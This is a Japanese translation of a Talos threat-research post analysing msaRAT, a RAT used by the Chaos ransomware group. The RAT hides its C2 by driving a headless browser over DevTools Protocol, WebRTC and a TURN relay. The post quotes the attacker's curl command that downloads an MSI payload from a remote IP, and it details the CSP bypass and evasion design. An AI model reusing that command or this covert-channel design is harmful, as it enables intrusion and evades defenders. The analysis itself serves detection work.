Chaos ランサムウェアグループの新たなマルウェア「 msaRAT 」を確認、Living Off the Browser 、WebRTC、TURNを用いて、C2との通信を隠す
2 min read

Cisco Talos の武田です。
こちらのブログでは、Chaos ランサムウェアグループが使用している新たなマルウェア「 msaRAT 」について紹介します。このマルウェアは、ブラウザを乗っ取り、マルウェア本体は直接 C2と通信せずブラウザ経由で接続を行います。TURNサーバーを経由した WebRTC 通信で被害者側から攻撃者の IPを隠しながら、任意コマンド実行を可能にします。
この記事は、Cisco Talos の Security Research Enginner である Takahiro Takeda、Jordyn Dunk、Michael Szeliga によるブログ 「Chaos Ransomware’s msaRAT: Living Off the Browser to Build a Covert C2 Channel」( 2026/07/23 )の翻訳です。
- Talosは、Chaos ランサムウェアグループが使用する新たな Rust で作成された msaRAT のマルウェアを確認しました。名前は、バイナリ内のバインディング名 ( msaOpen / msaClose / msaError / msaMessage ) に由来します。
- 非同期ランタイム Tokio を用いて実装され、主な機能は、ブラウザを悪用したリモートコード実行と隠蔽されたトンネリングを使用し、C2 との通信を確立。
- この RAT はネットワークに直接触れることなく、CDP( Chrome DevTools Protocol )というデバッグ用 API だけを通じて C2 との通信チャネルを制御します。バイナリ内に Cloudflare Workers エンドポイントを持ちますが、このドメインへの HTTP 接続を自分では行わず、ブラウザに肩代わりさせます。
- CDP 経由でブラウザを操作し、ブラウザが Cloudflare Workers との間でシグナリング( SDP Offer/Answer の交換)を行い、Twilio TURN を中継点としてブラウザと C2 の間に WebRTC DataChannel を確立します。
Chaos Ransomware の概要
Chaos は2025年2月には活動が確認された RaaS グループです。このグループのデータリークサイトの掲載件数は比較的少ないものの、比較的大きな組織を標的とし、二重脅迫を行っています。初期アクセスには、スパムメール、そして、音声によるソーシャルエンジニアリングを使用します。侵入後、従来では、RMM(リモート監視・管理)ツールを悪用して持続的接続を確保し、正規のファイル共有ソフトウェアを使ってデータの持ち出しを行います。詳細な TTPs については、こちらの記事を併せて参考にしてください。

図1. Chaos Ransomware リークサイト
Infection Chain
Talos は、Chaos ランサムウェアグループが使用する新たな Rust で作成された msaRAT を確認しました。名前は、後の章で詳しく説明しますが、バイナリ内のバインディング名 ( msaOpen / msaClose / msaError / msaMessage ) に由来します。図2 は、最終的にこの RAT に感染し、C2との通信を確立するまでの流れを示しています。

図2. Infection chain
攻撃者は、被害端末に侵入後、ランサムウェアの実行前に、以下の curl コマンドを実行し、update_ms.msi という MSIファイルを、攻撃者が管理するサーバーから被害端末の programdata 配下にダウンロードし、実行します。443 ポートを指定していますが、実際は、httpとして通信し、ファイアウォールでポート指定のみで許可設定している場合、通過してしまいます。
curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi
実行された curlコマンド
RAT の本体である DLLファイルを展開するこのインストーラーのプロパティ情報には、Windows の更新プログラムに偽装する目的で設定された情報を確認できます。

Figure3. update_ms.msi のプロパティ
この MSIファイルを実行すると、InstallFinalize 完了後に CustomAction CA_Run_EA2AEBC3 が実行されます。この CustomAction は MSI ファイルの Binary テーブルに Bin_lib_EA2AEBC3 として埋め込まれた lib.dll をメモリ上にロードします。

図4. MSIファイルの構造
lib.dll ( msaRAT )
本マルウェアは、Rust で作成され、非同期ランタイム Tokio を用いて実装された RAT です。主な機能は、ブラウザを悪用したリバースシェルと隠蔽されたトンネリングを使用し、C2サーバーとの通信を確立します。lib.dll のエクスポートテーブルには RUN が公開されており、上記で説明したインストーラーがこの関数を呼び出す設計になっています。実際のログからは、このマルウェアのダウンロード後、ランサムノートの存在を確認しています。
Tokio の実行(非同期処理ランタイム)
Tokioは、Rust で非同期処理を実行するためのランタイムです。Rust の async/await は非同期処理を記述するための機能ですが、それだけでは実行できず、Tokio のようなランタイムが非同期タスクのスケジューリングや実行を担います。RUN 関数内部のコードとして、まず、非同期処理が可能になる Tokio の実行を行うため、初期化処理を行います。初期化を行うコードは、” TOKIO_WORKER_THREADS ”、” the number of hardware threads is not known for the target platform ”など、バイナリ内に、複数静的に埋め込まれた文字列が Tokio および Rust 標準ライブラリのソースコードと一致しています。ここでは、Tokio の初期化処理として、並列処理数である worker thread の数を決定します。そのため、環境変数 TOKIO_WORKER_THREADS を読み込みます。その際、環境変数が未設定または、空の場合、Windows API の GetSystemInfo API で CPU 数を取得し、worker 数を設定します。また、GetSystemInfo が書き込む dwNumberOfProcessors が 0 だった場合は 1が設定されます。初期値設定後、Tokio ランタイム を起動させます。worker 数分の OS スレッドを CreateThread APIで生成・起動します。Tokio を使うことで、この RAT は「 C2 からのフレームを受け取る」「ブラウザに CDP コマンドを送る」「鍵交換を処理する」といった複数の処理を、互いをブロックすることなく並行して実行できます。たとえば ECDH 鍵交換の処理中も、別のフレームの受信や処理は止まりません。

図5. 環境変数 TOKIO_WORKER_THREADS の読み込みと Worker 数の決定
Hijacking the Browser
Chrome / Edge のインストールパスの探索
Tokioランタイム の起動後、この RAT はブラウザの操作を試みます。そのための最初のステップとして、被害者マシン上の Chrome または Edge のインストールパスを探索します。
1. 環境変数によるパス探索
以下の組み合わせを優先順に試し、ファイルが存在するか確認します。

表1. 探索するブラウザと優先順位

図6. Chromeと Edgeのパス探索 ( Pseudocode )
2.レジストリによるパス探索
環境変数からパスが見つからなかった場合は、Chrome のみをレジストリから検索します。

図7. Chrome のパス探索
該当のブラウザが見つからない場合、後述する Chrome DevTools Protocol ( CDP )の操作は実行されません。
ヘッドレスモードでのブラウザ起動
ブラウザパスの取得に成功すると、CreateProcessW API を通じて Chrome または Edge をヘッドレスモードで起動します。起動時に、表2 に記載の複数のフラグを付与し、CDP のリモートデバッグポートを有効化します。

表2. ブラウザ起動時に付与されるフラグ一覧
リモートデバッグポートの有効化の後、ブラウザを操作するため、以下のような /json/list/ へのHTTP GET リクエストを送ります。このリクエストを送ることで、開いている各タブの情報が返ります。

図8. HTTP GET request to /json/list/
このリクエストに対し、ブラウザは接続可能なターゲット(タブ等)の情報を JSON配列で返します。レスポンスの各要素には webSocketDebuggerUrl フィールドが含まれており、その URL をWebSocket 接続することで CDPセッションが確立します。確立したセッション上で Target.createTarget コマンドを送信して新規タブを作成し、 Page.enable および Runtime.enable を送信して JavaScript 実行環境を有効化します。
Inject JavaScript code into the Browser
WebSocket で CDP セッションを確立した後、まず、Page.setBypassCSP コマンドで、CSP (コンテンツセキュリティポリシー)をバイパスします。図9に示す文字列blobからポインタ、長さで参照し、CDPコマンドとして発行します。

図9. CDP コマンドの発行
Page.setBypassCSP で CSP をバイパス後、RAT は Runtime.addBinding を 5回連続で発行します。Runtime.addBinding は、CDP の機能の 1つで、ブラウザの JavaScript と CDPクライアント( RAT )にイベントを通知するコールバックを登録するための API です。登録するバインディング名は、バイナリ内の文字列テーブルに格納されています。ループ処理で、msaOpen、msaClose、msaError、msaMessage、dataAck順に参照し、1エントリずつ CDP コマンドとして送信されます。

図10. バインディング名が書かれている文字列テーブル
RATは、各バインディング名を登録後、CDP 経由で JavaScript を実行する機能であるRuntime.evaluate を使用し、.rdataセクションに埋め込まれている Javascript コードをブラウザに注入、実行します。注入されるコードは平文で埋め込まれており、2つの関数で構成されています。

図11. RAT本体に埋め込まれている JavaScriptコード(一部抜粋)
一つ目の関数は、WebRTCチャネルの初期化を行います。初回、接続時のみ一度だけ注入されます。この関数によって C2サーバーとの通信の基盤を構築します。以降で、JavaScript コードの処理について説明します。
WebRTC DataChannel の確立(シグナリングに Cloudflare Workers を使用)とデータ転送
① STUN (Session Traversal Utilities for NAT) / TURN (Traversal Using Relays around NAT) サーバー情報の取得
まず、Cloudflare Workers(is-01-ast[.]ols-img-12[.]workers[.]dev)に GET リクエストを送り、WebRTC 接続に必要な STUN/TURN サーバー情報を JSON で受け取ります。失敗した場合は window.msaError() で RAT に通知して終了します。

図12. STUN/TURN サーバー情報の取得
図13は、ブラウザから Cloudflare Worker のインフラ上に構築されたサーバーとのGETリクエストとレスポンスを示しています。User-Agentについては、ブラウザは、ヘッドレスモードで起動されることから、HeadlessChrome と指定され、Origin / Refererに関しては、検知回避のため、Microsoft の公式サイトからのリクエストに偽装していることが分かります。

図13. GET /token/v1/{UID}リクエスト(一部抜粋)
レスポンスのボディは、Figure13 の記載にある通り、WebRTC の ICEサーバー設定で、STUN/TURNサーバー情報の結果を返しています。STUNサーバー( stun2.l.google.com )は NAT を超えるために感染端末の外部 IPアドレスを発見し、TURNサーバー( global.turn.twilio.com )は P2P接続が失敗した場合、中継点として機能します。

図14. GET /token/v1/{UID} リクエストのレスポンス(一部抜粋)
② WebRTC PeerConnectionとDataChannel の作成
取得したサーバー情報を使って RTCPeerConnection を作成します。DataChannel の名前は genStr(5, 20) で生成した5〜20文字のランダムな英数字文字列が使われます。

図15. WebRTC PeerConnectionとDataChannel の作成
③ バインディングへのイベント接続
前のステップで Runtime.addBinding により登録済みのコールバックを、WebRTC の各イベントに紐付けます。C2からデータを受信した場合( onmessage )は、バイナリデータを base64 に変換してから window.msaMessage() 経由で RATに渡します。

図16. 各バインディングの紐付け
➃ ICE candidate ( Interactive Connectivity Establishment ) 収集と SDP ネゴシエーション
WebRTC で通信するには、事前に、どのアドレスで繋ぐか、そして、どの形式で通信するかを双方で合意する必要があります。そのため、WebRTCのSDP Offer(通信条件) を生成、また、どこへ接続すればいいか情報を得るため、ICE candidate 収集します。収集後、C2 サーバーに SDP Offer を POST し、C2 サーバー側は SDP Answer を返します。C2 サーバー側の SDP を setRemoteDescription で適用することで WebRTC DataChannel 接続が確立します。ICE candidate の収集が5 秒経ても終わらない場合は、タイムアウトして強制的に進みます。

図17. ICE candidate 収集と SDP ネゴシエーション
図18 と図19 は、実際の POST /token/v1/{UID}のリクエストとレスポンスを示しています。レスポンスの内容には、攻撃者側の SDPアンサーには ICE候補が含まれておらず、接続先アドレスも 0.0.0.0 と設定されています。通常の WebRTC通信では必ず含まれる ICE候補を意図的に省略することで P2P接続を成立させず、常に TURN 経由で通信が行われる設計となっています。Twilio 社の正規サービスを経由することで攻撃者の実サーバーの IPアドレスはトラフィック上に現れず、Cloudflare Workersとの二重構造によってインフラの追跡を困難にしています。

図18. POST /token/v1/{UID} リクエスト(一部抜粋)

図19. POST /token/v1/{UID} リクエストのレスポンス(一部抜粋)
➄ データ変換ヘルパーとランダム文字列生成
RAT からブラウザへデータを送るとき、CDP の Runtime.evaluate は文字列しか渡せません。WebRTC DataChannel で実際に送信するのはバイナリデータ( ArrayBuffer )です。そのため、この変換を担うのが base64ToArrayBuffer です。

図20. データ変換ヘルパー
⑥ 送信キューとフロー制御
WebRTC の DataChannel には送信バッファがあり、データを送り続けると、新しいデータが送られてなくなります。この問題を解決するために、攻撃者はキューとフロー制御を実装しています。24KB を下回ったときにキューからデータを取り出して送信します。スクリーンショット送信やファイル転送など、大きなデータを確実に C2へ送信するための設計と考えられます。

図21. 送信キューとフロー制御

図22. C2へのデータ送信する関数
RAT が Runtime.evaluate で JavaScript を注入した後、メイン処理はブラウザに移ります。RAT は CDP の WebSocketを監視するループで待機し、ブラウザからのイベントを待ち続けます。WebRTC 接続の確立・切断・データ受信はすべてブラウザ内の JavaScript が処理します。そして処理の結果を RAT に伝えるために、window.msaOpen() や window.msaMessage ( base64Data ) などの登録済みバインディングを呼び出します。バインディングが呼び出されるたびに、CDP は Runtime.bindingCalled イベントを WebSocket 経由で RAT に送出します。このイベントの JSON は以下の形式です。

図23. Runtime.bindingCalled の JSON形式(例)
params オブジェクトには2つのフィールドが含まれ、name はどのバインディングが呼ばれたかを示す文字列、payload は JavaScript から渡された引数です。name フィールドの値によって、RAT はその後の動作を切り替えます。

表3. nameフィールドの値とRATの動作
通信の暗号化
WebRTC DataChannel は仕様上、通信経路が DTLS(トランスポート層の暗号化)で自動的に保護されます。これはブラウザが処理するため、RAT のコードには関係しません。
RAT はそれとは別に、データをブラウザへ渡す前に ChaCha-Poly1305 系 でデータ自体を暗号化しており、暗号化が二重になっています。たとえ、DTLS が解除されても、中間者には内容を読むことができない構成になっています。この ChaCha-Poly1305 系 の鍵は、C2との接続確立時に行われる ECDH 鍵交換で導出されます。接続直後に C2 から Handshake フレーム( 0xFE )が送られてくると、RAT側は C2の公開鍵を受け取り、自身の鍵ペアを生成して共有鍵を導出した後、自身の公開鍵を C2へ返送します。

図24. ChaCha-Poly1305系の処理(一部抜粋)
C2 コマンド処理
マルウェアが C2 からコマンドを受け取る際、シンプルな実装はコマンド番号を受け取って対応する処理を呼ぶことですが、この RAT は、コネクション状態を管理する外側とフレームを処理する二重の構造になっています。表4と5に示します。

表4. 外側 switchコネクション状態管理

表5. フレーム処理の一覧
C2 Communication Flow
図25 に今回のRAT、Claudeflare Workers、Twilio TURN、C2との通信の流れを示します。

図25. RAT、Claudeflare Workers、Twilio TURN、C2との通信の流れ
この RATはネットワークに直接触れることなく、CDP( Chrome DevTools Protocol )というデバッグ用 API だけを通じて C2 との通信チャネルを制御します。バイナリ内に is-01-ast[.]ols-img-12[.]workers[.]dev という Cloudflare Workers エンドポイントを持ちますが、このドメインへの HTTP 接続を自分では行わず、ブラウザに肩代わりさせます。このエンドポイントは WebRTC接続を開くためのシグナリング中継( SDP Offer/Answer の交換)に特化しており、WebRTC 接続が確立した時点で Cloudflare Workers は通信から外れます。以降の C2 コマンドはすべて WebRTC DataChannel を通じてやり取りされます。シグナリングに Cloudflare Workers を選んだ理由として考えられるのは、通信先が攻撃者の自前サーバーではなくCloudflare のインフラであるため、送信先 IP アドレスが Cloudflare の CDNレンジに属し、多くのファイアウォールやプロキシの許可リストをそのまま通過してしまう点です。また、*.workers.dev は Cloudflare が開発者向けに提供するプラットフォームドメインであり、ブロックすると正規の Cloudflare Workers デプロイに広く影響が出るため、防御側が遮断しにくい構造になっています。さらに上述の通り、通信は二重に暗号化されています。そして、TURNサーバーを中継させることで C2の実際の IP アドレスも隠蔽できます。この設計の結果、RAT 自身のネットワーク通信は 127.0.0[.]1のみとなり、外部への通信はすべて正規のブラウザプロセスによるものとして観測されます。ブラウザによる WebRTC通信は企業環境でも一般的であるため、ファイアウォールやネットワーク監視ツールからは C2 との通信が通常の Webトラフィックに埋もれてしまいます。
Coverage
Integrated Coverage
- Cisco Talos Network Intrusion Prevention
- Cisco Talos Web Filtering
- Cisco Talos Anti-Virus
- Cisco Talos Malware Prevention
以下の ClamAVシグネチャがこの脅威を検出・ブロックします。
- Downloader.ChaosRaas-10060321-0
以下の SNORT®ルール( SID )がこの脅威を検出・ブロックします。
- Snort 2: 1:66840, 1:66841, 1:66839
- Snort 3: 1:301587, 1:66839
Indicators of compromise ( IOCs )
IOCはこちらのGitHubリポジトリでも確認できます。